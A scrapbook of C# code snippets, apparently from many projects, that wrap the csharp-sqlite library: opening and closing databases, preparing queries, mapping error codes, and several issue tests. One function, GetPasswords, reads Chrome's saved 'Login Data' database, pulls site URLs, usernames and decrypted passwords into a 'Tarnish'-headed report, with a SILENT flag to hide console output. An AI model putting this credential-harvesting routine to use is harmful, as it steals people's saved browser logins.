public void close() { checkThread(); doAllStatements(AllStatmentsAction.Finalize); if (this.db != null) { int rc = Sqlite3.SQLITE_OK, i = 0; do { rc = Sqlite3.sqlite3_close(this.db); if (rc == Sqlite3.SQLITE_BUSY) { GC.Collect(); GC.WaitForPendingFinalizers(); } } while(rc == Sqlite3.SQLITE_BUSY && i++ < 3); if (rc != Sqlite3.SQLITE_OK) { throw GetSqliteError(this.db, null); } this.db = null; } }
// Multi thread execution special command or ddl command results in exception.. public void Issue_86() { AppDomain.CurrentDomain.UnhandledException += (sender, eventArgs) => { Console.WriteLine(eventArgs.ExceptionObject); }; int flags = Sqlite3.SQLITE_OPEN_NOMUTEX | Sqlite3.SQLITE_OPEN_READWRITE | Sqlite3.SQLITE_OPEN_CREATE; for (int i = 0; i < 10; i++) { Console.WriteLine("Running Thread {0}", i); var t = new Thread(() => { string dbFilename = string.Format("db{0}.sqlite", Thread.CurrentThread.ManagedThreadId); if (File.Exists(dbFilename)) { File.Delete(dbFilename); } Console.WriteLine("Using Database {0}", dbFilename); Sqlite3.sqlite3 db = null; Sqlite3.sqlite3_open_v2(dbFilename, out db, flags, null); var command = string.Format("create table [t{0}] (id, name, amount)", Thread.CurrentThread.ManagedThreadId); ExecuteCommand(db, command); Sqlite3.sqlite3_close(db); }); t.Start(); } }
public string GetPasswords() { try { string DBPATH = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; string FileOut = ""; if (File.Exists(DBPATH)) { string header = "Tarnish " + Global.AssemName.Version.ToString(); FileOut += header + Environment.NewLine; Sqlite3.sqlite3 db = new Sqlite3.sqlite3(); Sqlite3.sqlite3_open(DBPATH, ref db); Sqlite3.sqlite3_exec(db, "SELECT origin_url,username_value,password_value FROM LOGINS", new Sqlite3.dxCallback(The_Callback), 0, 0); foreach (ChromeUserPassEntity e in entities) try { if (e.username_value != null && e.password_value != null && e.origin_url != null) if (e.username_value.Trim().Length > 0) { #if !SILENT Console.WriteLine(e.origin_url.PadLeft(e.origin_url.Length + 1, ' ')); #endif FileOut += e.origin_url + Environment.NewLine + " " + e.username_value + Environment.NewLine + " " + e.getPassword() + Environment.NewLine; } } catch (Exception ex) { Console.Write(ex.ToString()); } Sqlite3.sqlite3_close(db); return FileOut; } } catch (Exception ex) { Console.Write(ex.ToString()); } return ""; }
public void open(String strPath, String strSqlScript, String strEncryptionInfo) { try { String dbURI = RHODESAPP().resolveDBFilesPath(strPath); dbURI = CFilePath.removeFirstSlash(dbURI); boolean bEncrypted = strEncryptionInfo != null && strEncryptionInfo.length() > 0; //DatabaseSecurityOptions dbso = new DatabaseSecurityOptions(bEncrypted); boolean bExist = CRhoFile.isFileExist(strPath); int res = Sqlite3.sqlite3_open(dbURI, ref m_db); if (res != Sqlite3.SQLITE_OK) { throw new DBException(res, "Could not open database file: " + strPath); } res = Sqlite3.sqlite3_exec(m_db, "PRAGMA journal_mode=PERSIST", 0, 0, 0); if (res != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(m_db); m_db = null; throw new DBException(res, "Cannot set journal mode to PERSIST: " + strPath); } string[] ar1 = CRhoFile.enumDirectory("db"); if (!bExist) { createSchema(strSqlScript); } Sqlite3.sqlite3_create_function(m_db, "rhoOnDeleteObjectRecord", 3, Sqlite3.SQLITE_ANY, 0, DBAdapter.SyncBlob_DeleteCallback, null, null); Sqlite3.sqlite3_create_function(m_db, "rhoOnUpdateObjectRecord", 3, Sqlite3.SQLITE_ANY, 0, DBAdapter.SyncBlob_UpdateCallback, null, null); Sqlite3.sqlite3_create_function(m_db, "rhoOnDeleteSchemaRecord", 1, Sqlite3.SQLITE_ANY, 0, DBAdapter.SyncBlob_DeleteSchemaCallback, null, null); Sqlite3.sqlite3_create_function(m_db, "rhoOnUpdateSchemaRecord", 2, Sqlite3.SQLITE_ANY, 0, DBAdapter.SyncBlob_UpdateSchemaCallback, null, null); string[] ar2 = CRhoFile.enumDirectory("db"); if (m_bPendingTransaction) { startTransaction(); } m_bPendingTransaction = false; } catch (Exception exc) { throw new DBException(exc); } finally { m_nInsideTransaction = 0; } }
public void Close() { if (db != null) { Sqlite3.sqlite3_close(db); db = null; } }
public Result Open(string filename, out IDbHandle db) { Sqlite3.sqlite3 internalDbHandle = null; var ret = (Result)Sqlite3.sqlite3_open(filename, ref internalDbHandle); db = new DbHandle(internalDbHandle); return(ret); }
public void close() { if (m_db != null) { int rc = Sqlite3.sqlite3_close(m_db); checkError(rc); m_db = null; } }
public SQLiteQuery( SQLiteDB sqliteDb, string query ) { bindIndex = 1; db = sqliteDb.Connection(); if( Sqlite3.sqlite3_prepare_v2( db, query, query.Length, ref vm, 0 ) != Sqlite3.SQLITE_OK ) { throw new Exception( "Error with prepare query! error:" + Sqlite3.sqlite3_errmsg(db) ); }; }
public void close() { if (m_db != null) { int rc = Sqlite3.sqlite3_close(m_db); checkError(rc); m_db = null; } }
public void Dispose() { if (_open) { Sqlite3.sqlite3_close(_db); _db = null; _open = false; } }
private Statement(Sqlite3.sqlite3 db, sqlite3_stmt stmt, string operation, string tail) { this.uniqueid = Guid.NewGuid(); this.db = db; this.sql = operation; this.st = stmt; this.Tail = tail; }
public SQLiteQuery(SQLiteDB sqliteDb, string query) { bindIndex = 1; db = sqliteDb.Connection(); if (Sqlite3.sqlite3_prepare_v2(db, query, query.Length, ref vm, 0) != Sqlite3.SQLITE_OK) { throw new Exception("Error with prepare query! error:" + Sqlite3.sqlite3_errmsg(db)); } ; }
public Result Open(byte[] filename, out IDbHandle db, int flags, IntPtr zVfs) { string dbFileName = Encoding.UTF8.GetString(filename, 0, filename.Length); Sqlite3.sqlite3 internalDbHandle = null; var ret = (Result)Sqlite3.sqlite3_open_v2(dbFileName, ref internalDbHandle, flags, null); db = new DbHandle(internalDbHandle); return(ret); }
private Statement(Sqlite3.sqlite3 db, sqlite3_stmt stmt, string operation, string tail) { this.uniqueid = Guid.NewGuid(); this.db = db; this.sql = operation; this.st = stmt; this.Tail = tail; }
internal static Exception GetSqliteError(Sqlite3.sqlite3 db, Sqlite3.Vdbe st) { /* SQLite often doesn't report anything useful, unless you reset the statement first */ if (st != null) { Sqlite3.sqlite3_reset(st); } int errorcode = Sqlite3.sqlite3_errcode(db); string errmsg = Sqlite3.sqlite3_errmsg(db); switch (errorcode) { case SQLITE_OK: return(null); case Sqlite3.SQLITE_INTERNAL: case Sqlite3.SQLITE_NOTFOUND: return(MakeInternalError(errmsg)); case Sqlite3.SQLITE_NOMEM: return(new OutOfMemoryException()); case Sqlite3.SQLITE_ERROR: case Sqlite3.SQLITE_PERM: case Sqlite3.SQLITE_ABORT: case Sqlite3.SQLITE_BUSY: case Sqlite3.SQLITE_LOCKED: case Sqlite3.SQLITE_READONLY: case Sqlite3.SQLITE_INTERRUPT: case Sqlite3.SQLITE_IOERR: case Sqlite3.SQLITE_FULL: case Sqlite3.SQLITE_CANTOPEN: case Sqlite3.SQLITE_PROTOCOL: case Sqlite3.SQLITE_EMPTY: case Sqlite3.SQLITE_SCHEMA: return(MakeOperationalError(errmsg)); case Sqlite3.SQLITE_CORRUPT: return(MakeDatabaseError(errmsg)); case Sqlite3.SQLITE_TOOBIG: return(MakeDataError(errmsg)); case Sqlite3.SQLITE_CONSTRAINT: case Sqlite3.SQLITE_MISMATCH: return(MakeIntegrityError(errmsg)); case Sqlite3.SQLITE_MISUSE: return(MakeProgrammingError(errmsg)); default: return(MakeDatabaseError(errmsg)); } }
public static Sqlite3.Vdbe Prepare2(Sqlite3.sqlite3 db, string query) { Sqlite3.Vdbe stmt = new Sqlite3.Vdbe(); var r = Sqlite3.sqlite3_prepare_v2(db, query, System.Text.UTF8Encoding.UTF8.GetByteCount(query), ref stmt, 0); if (r != 0) { throw SQLiteException.New((Result)r, GetErrmsg(db)); } return(stmt); }
public void Open (string filename) { if (db != null) { throw new Exception ("Error database already open!"); } if (Sqlite3.sqlite3_open (filename, out db) != Sqlite3.SQLITE_OK) { db = null; throw new IOException ("Error with opening database " + filename + " !"); } }
public void OpenInMemory () { if (db != null) { throw new Exception ("Error database already open!"); } if (Sqlite3.sqlite3_open (":memory:", out db) != Sqlite3.SQLITE_OK) { db = null; throw new IOException ("Error with opening database :memory:!"); } }
public void createTrigger(String strSQL) { int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0); if (res != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(m_db); m_db = null; throw new DBException(res, "Cannot create trigger: " + strSQL); } }
public void dropTrigger(String strName) { String strSQL = "DROP TRIGGER " + strName + ";"; int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0); if (res != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(m_db); m_db = null; throw new DBException(res, "Cannot drop trigger: " + strName); } }
public void Open(string filename) { if (db != null) { throw new Exception("Error database already open!"); } if (Sqlite3.sqlite3_open(filename, out db) != Sqlite3.SQLITE_OK) { db = null; throw new IOException("Error with opening database " + filename + " !"); } }
public void OpenInMemory() { if (db != null) { throw new Exception("Error database already open!"); } if (Sqlite3.sqlite3_open(":memory:", out db) != Sqlite3.SQLITE_OK) { db = null; throw new IOException("Error with opening database :memory:!"); } }
private static DBAdapter getDBByHandle(Sqlite3.sqlite3 db) { Hashtable <String, DBAdapter> .Enumerator hashEnum = m_mapDBPartitions.GetEnumerator(); while (hashEnum.MoveNext()) { if (hashEnum.Current.Value.m_dbStorage == db) { return(hashEnum.Current.Value); } } return(getDBPartitions().get(USER_PARTITION_NAME())); }
public SQLiteQuery(SQLiteDB sqliteDb, string query) { sqlDb = sqliteDb; bindIndex = 1; db = sqliteDb.Connection(); if (Sqlite3.sqlite3_prepare_v2(db, query, query.Length, ref vm, 0) != Sqlite3.SQLITE_OK) { Debug.Log(query); throw new Exception("Error with prepare query! error:" + Sqlite3.sqlite3_errmsg(db)); } ; sqlDb.RegisterQuery(this); }
public ServerChildJob(ServerChildJobState st) { socketID = st.socketID; socket = st.workerSocket; traceLog = st.traceLog; mainDb = st.mainDb; stateArray = new IFSMInterface[(int)State.STATE_COUNT]; stateArray[(int)State.STATE_INIT] = new WWClientState_Init(); stateArray[(int)State.STATE_SHUTDOWN] = new WWClientState_Shutdown(); stateID = (int)State.STATE_INIT; fsm = new FSM(stateArray[stateID]); }
public void Close() { ReleaseAllQueries(); if (db != null) { Sqlite3.sqlite3_close(db); db = null; } if (stream != null) { Sqlite3.sqlite3_stream_unregister(stream); } }
private static void ExecuteCommand(Sqlite3.sqlite3 db, string command) { int rc; Sqlite3.Vdbe vm = null; if (Sqlite3.sqlite3_prepare_v2(db, command, command.Length, ref vm, 0) != Sqlite3.SQLITE_OK) { throw new InvalidOperationException(string.Format("Query failed ({0}), message: {1}.", db.errCode, Sqlite3.sqlite3_errmsg(db))); } rc = Sqlite3.sqlite3_step(vm); if (rc != Sqlite3.SQLITE_DONE && rc != Sqlite3.SQLITE_ROW) { throw new InvalidOperationException(string.Format("Query failed ({0}), message: {1}.", db.errCode, Sqlite3.sqlite3_errmsg(db))); } Sqlite3.sqlite3_finalize(vm); }
public void Open() { if (Sqlite3.sqlite3_open(Database, ref _db) != Sqlite3.SQLITE_OK) { throw new SQLiteException("Could not open database file: " + Database); } string errMsg = string.Empty; if (Sqlite3.sqlite3_exec(_db, "PRAGMA journal_mode=PERSIST", (Sqlite3.dxCallback) this.callback, null, ref errMsg) != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(_db); _db = null; _open = false; throw new SQLiteException("Cannot set journal mode to PERSIST: " + Database); } _open = true; }
public void OpenStream (string name, Stream io) { if (db != null) { throw new Exception ("Error database already open!"); } stream = Sqlite3.sqlite3_stream_create (name, io); if (Sqlite3.sqlite3_stream_register (stream) != Sqlite3.SQLITE_OK) { throw new IOException ("Error with opening database with stream " + name + "!"); } if (Sqlite3.sqlite3_open_v2 (name, out db, Sqlite3.SQLITE_OPEN_READWRITE, "stream") != Sqlite3.SQLITE_OK) { db = null; throw new IOException ("Error with opening database with stream " + name + "!"); } }
public Statement(PythonSQLite.Connection connection, string operation) { this.uniqueid = Guid.NewGuid(); this.db = connection.db; this.sql = operation; this.st = null; string tail = null; if(Sqlite3.sqlite3_prepare(this.db, this.sql, -1, ref this.st, ref tail) != Sqlite3.SQLITE_OK /*TODO: || too much sql */) { Sqlite3.sqlite3_finalize(st); this.st = null; throw PythonSQLite.GetSqliteError(this.db, null); } this.Tail = tail; }
public Statement(PythonSQLite.Connection connection, string operation) { this.uniqueid = Guid.NewGuid(); this.db = connection.db; this.sql = operation; this.st = null; string tail = null; if (Sqlite3.sqlite3_prepare(this.db, this.sql, -1, ref this.st, ref tail) != Sqlite3.SQLITE_OK /*TODO: || too much sql */) { Sqlite3.sqlite3_finalize(st); this.st = null; throw PythonSQLite.GetSqliteError(this.db, null); } this.Tail = tail; }
public void OpenStream(string name, Stream io) { if (db != null) { throw new Exception("Error database already open!"); } stream = Sqlite3.sqlite3_stream_create(name, io); if (Sqlite3.sqlite3_stream_register(stream) != Sqlite3.SQLITE_OK) { throw new IOException("Error with opening database with stream " + name + "!"); } if (Sqlite3.sqlite3_open_v2(name, out db, Sqlite3.SQLITE_OPEN_READWRITE, "stream") != Sqlite3.SQLITE_OK) { db = null; throw new IOException("Error with opening database with stream " + name + "!"); } }
public void Close() { if( db != null ) { Sqlite3.sqlite3_close( db ); db = null; } }
// Dbを閉じる public void CloseDb() { try { if (mainDb != null) { Sqlite3.sqlite3_close(mainDb); mainDb = null; } } catch (Exception e) { WriteLog(TraceEventType.Error, "CloseDb: " + e.Message); } WriteLog(TraceEventType.Verbose, "CloseDb"); }
public static string GetErrmsg(Sqlite3.sqlite3 db) { return(Sqlite3.sqlite3_errmsg(db)); }
public SQLiteDB() { db = null; stream = null; }
public void close() { checkThread(); doAllStatements(AllStatmentsAction.Finalize); if(this.db != null) { int rc = Sqlite3.SQLITE_OK, i = 0; do { rc = Sqlite3.sqlite3_close(this.db); if(rc == Sqlite3.SQLITE_BUSY) { GC.Collect(); GC.WaitForPendingFinalizers(); } } while(rc == Sqlite3.SQLITE_BUSY && i++ < 3); if(rc != Sqlite3.SQLITE_OK) throw GetSqliteError(this.db, null); this.db = null; } }
public SQLiteDB() { db = null; }
// Db初期化 public void InitDb() { if (mainDb != null) { return; } mainDb = new Sqlite3.sqlite3(); int rc = Sqlite3.sqlite3_open_v2( dbFile, out mainDb, Sqlite3.SQLITE_OPEN_READWRITE | Sqlite3.SQLITE_OPEN_CREATE | Sqlite3.SQLITE_OPEN_SHAREDCACHE, ""); if (rc != Sqlite3.SQLITE_OK) { WriteLog(TraceEventType.Critical, "Database initialization failed."); Sqlite3.sqlite3_close(mainDb); return; } WriteLog(TraceEventType.Verbose, "InitDb"); }
public static int Changes(Sqlite3.sqlite3 db) { return(Sqlite3.sqlite3_changes(db)); }
public void open(String strPath, String strSqlScript, String strEncryptionInfo) { try { String dbURI = RHODESAPP().resolveDBFilesPath(strPath); dbURI = CFilePath.removeFirstSlash(dbURI); boolean bEncrypted = strEncryptionInfo != null && strEncryptionInfo.length() > 0; //DatabaseSecurityOptions dbso = new DatabaseSecurityOptions(bEncrypted); boolean bExist = CRhoFile.isFileExist(strPath); int res = Sqlite3.sqlite3_open(dbURI, ref m_db); if (res != Sqlite3.SQLITE_OK) throw new DBException(res, "Could not open database file: " + strPath); res = Sqlite3.sqlite3_exec(m_db, "PRAGMA journal_mode=PERSIST", 0, 0, 0); if (res != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(m_db); m_db = null; throw new DBException(res, "Cannot set journal mode to PERSIST: " + strPath); } string[] ar1 = CRhoFile.enumDirectory("db"); if (!bExist) createSchema(strSqlScript); string[] ar2 = CRhoFile.enumDirectory("db"); if (m_bPendingTransaction) startTransaction(); m_bPendingTransaction = false; } catch (Exception exc) { throw new DBException(exc); } finally { m_nInsideTransaction = 0; } }
public static long LastInsertRowid(Sqlite3.sqlite3 db) { return(Sqlite3.sqlite3_last_insert_rowid(db)); }
/// <summary> /// Opens database. /// </summary> /// <param name="DatabaseName">Name of database file</param> public void OpenDatabase(String DatabaseName) { // opens database if(Sqlite3.sqlite3_open(DatabaseName, out db) != Sqlite3.SQLITE_OK) { // if there is some error, database pointer is set to 0 and exception is throws db = null; throw new Exception("Error with opening database " + DatabaseName + "!"); } }
/// <summary> /// Creates new instance of SQLiteBase class with no database attached. /// </summary> public SQLiteDatabase() { db = null; }
// Dbを閉じる public void CloseDb() { if (mainDb != null) { Sqlite3.sqlite3_close(mainDb); mainDb = null; } WriteLog(TraceEventType.Verbose, "CloseDb"); }
public void dropTrigger(String strName) { String strSQL = "DROP TRIGGER " + strName + ";"; int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0); if (res != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(m_db); m_db = null; throw new DBException(res, "Cannot drop trigger: " + strName); } }
public void createTrigger(String strSQL) { int res = Sqlite3.sqlite3_exec(m_db, strSQL, 0, 0, 0); if (res != Sqlite3.SQLITE_OK) { Sqlite3.sqlite3_close(m_db); m_db = null; throw new DBException(res, "Cannot create trigger: " + strSQL); } }
public void Close() { ReleaseAllQueries(); if( db != null ) { Sqlite3.sqlite3_close( db ); db = null; } if( stream != null ) { Sqlite3.sqlite3_stream_unregister(stream); } }
// Db初期化 public void InitDb(String name) { if (mainDb != null) { return; } mainDb = new Sqlite3.sqlite3(); int rc = Sqlite3.sqlite3_open_v2( name, out mainDb, Sqlite3.SQLITE_OPEN_READWRITE | Sqlite3.SQLITE_OPEN_CREATE | Sqlite3.SQLITE_OPEN_SHAREDCACHE, ""); if (rc != Sqlite3.SQLITE_OK) { WriteLog(TraceEventType.Critical, "Database initialization failed."); Sqlite3.sqlite3_close(mainDb); return; } // トランザクション Sqlite3.sqlite3_exec(mainDb, "BEGIN", 0, 0, 0); // Roomテーブル生成 Sqlite3.sqlite3_exec( mainDb, "CREATE TABLE room (" + "id INT PRIMARY KEY," + "member_num INT," + "member_max INT," + "name TINYTEXT NOT NULL," + "comment TEXT)", 0, 0, 0); // userテーブル生成 Sqlite3.sqlite3_exec( mainDb, "CREATE TABLE user (" + "id INT PRIMARY KEY," + "room_id INT," + "name TINYTEXT NOT NULL," + "comment TEXT)", 0, 0, 0); // トランザクション Sqlite3.sqlite3_exec(mainDb, "COMMIT", 0, 0, 0); WriteLog(TraceEventType.Verbose, "InitDb"); }
public void Issue_124() { Console.WriteLine("Test Start."); Sqlite3.sqlite3 db = null; Sqlite3.sqlite3_open(":memory:", out db); Sqlite3.Vdbe stmt = null; string zero = null; string val; Thread.CurrentThread.CurrentCulture = CultureInfo.InvariantCulture; //create table { Sqlite3.sqlite3_prepare_v2(db, "create table Test (val REAL NOT NULL)", -1, ref stmt, ref zero); Sqlite3.sqlite3_step(stmt); Sqlite3.sqlite3_finalize(stmt); } //insert 0.1 { Sqlite3.sqlite3_prepare_v2(db, "insert into Test(val) values ('0.1')", -1, ref stmt, ref zero); Sqlite3.sqlite3_step(stmt); Sqlite3.sqlite3_finalize(stmt); } //insert 0.1 { Sqlite3.sqlite3_prepare_v2(db, "insert into Test(val) values ('0.2')", -1, ref stmt, ref zero); Sqlite3.sqlite3_step(stmt); Sqlite3.sqlite3_finalize(stmt); } //insert 0.000000001 { Sqlite3.sqlite3_prepare_v2(db, "insert into Test(val) values ('0.000000001')", -1, ref stmt, ref zero); Sqlite3.sqlite3_step(stmt); Sqlite3.sqlite3_finalize(stmt); } //invariant culture { System.Console.WriteLine("invariant culture"); Sqlite3.sqlite3_prepare_v2(db, "select val from Test", -1, ref stmt, ref zero); Sqlite3.sqlite3_step(stmt); val = Sqlite3.sqlite3_column_text(stmt, 0); System.Console.WriteLine("value: " + val); Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("ru"); Sqlite3.sqlite3_step(stmt); val = Sqlite3.sqlite3_column_text(stmt, 0); System.Console.WriteLine("value: " + val); Sqlite3.sqlite3_step(stmt); val = Sqlite3.sqlite3_column_text(stmt, 0); System.Console.WriteLine("value: " + val); Sqlite3.sqlite3_finalize(stmt); } //ru-ru culture { System.Console.WriteLine("ru"); Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("ru"); Sqlite3.sqlite3_prepare_v2(db, "select val from Test", -1, ref stmt, ref zero); Sqlite3.sqlite3_step(stmt); val = Sqlite3.sqlite3_column_text(stmt, 0); System.Console.WriteLine("value: " + val); Sqlite3.sqlite3_step(stmt); val = Sqlite3.sqlite3_column_text(stmt, 0); System.Console.WriteLine("value: " + val); Sqlite3.sqlite3_finalize(stmt); } Console.WriteLine("Test Done."); }
public DbHandle(Sqlite3.sqlite3 internalDbHandle) : this() { InternalDbHandle = internalDbHandle; }
public SQLiteDB() { db = null; stream = null; }
internal SQLiteCommand(Sqlite3.sqlite3 db) { _db = db; _bindings = new List <Binding>(); CommandText = ""; }